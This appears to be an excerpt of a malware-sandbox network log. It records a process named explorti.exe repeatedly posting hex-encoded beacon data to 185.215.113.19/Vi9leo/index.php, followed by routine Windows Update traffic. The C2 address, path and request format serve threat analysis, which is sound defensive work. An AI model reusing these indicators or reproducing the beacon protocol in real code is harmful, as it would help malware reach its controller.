Sep 1, 2024 01:30:48.878528118 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:49.124409914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49791	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:49.239402056 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:49.980571032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:49.995852947 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:50.242379904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49792	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:50.360908985 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:51.112437963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:51.113164902 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:51.359829903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49793	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:51.469472885 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:52.230456114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:52.232402086 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:52.484127045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49794	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:52.595861912 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:53.335064888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:53.348997116 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:53.594713926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49795	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:53.705022097 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:54.461570024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:54.462290049 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:54.712420940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49796	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:54.829957008 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:55.569555998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:55.570334911 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:55.815341949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49797	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:55.924032927 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:56.673039913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:56.673768044 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:56.918986082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49798	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:57.032933950 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:57.795233011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:57.876507044 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:58.121448994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49799	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:58.236032009 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:58.999131918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:58.999771118 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:59.344952106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49800	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:59.454725981 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:31:00.205535889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:31:00.206195116 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:31:00.454230070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:29:13 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RHZnp4gMpZCS2vZ&MD=WRH8Upfw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-31 23:29:13 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ec34f6a4-cd15-4dc1-a831-c86681db9c60 MS-RequestId: 9bc49b7a-573b-4083-b0c1-984033431c10 MS-CV: 4faVRfVI1kuktPUd.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 31 Aug 2024 23:29:12 GMT Connection: close Content-Length: 24490
2024-08-31 23:29:13 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-08-31 23:29:13 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:29:51 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RHZnp4gMpZCS2vZ&MD=WRH8Upfw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
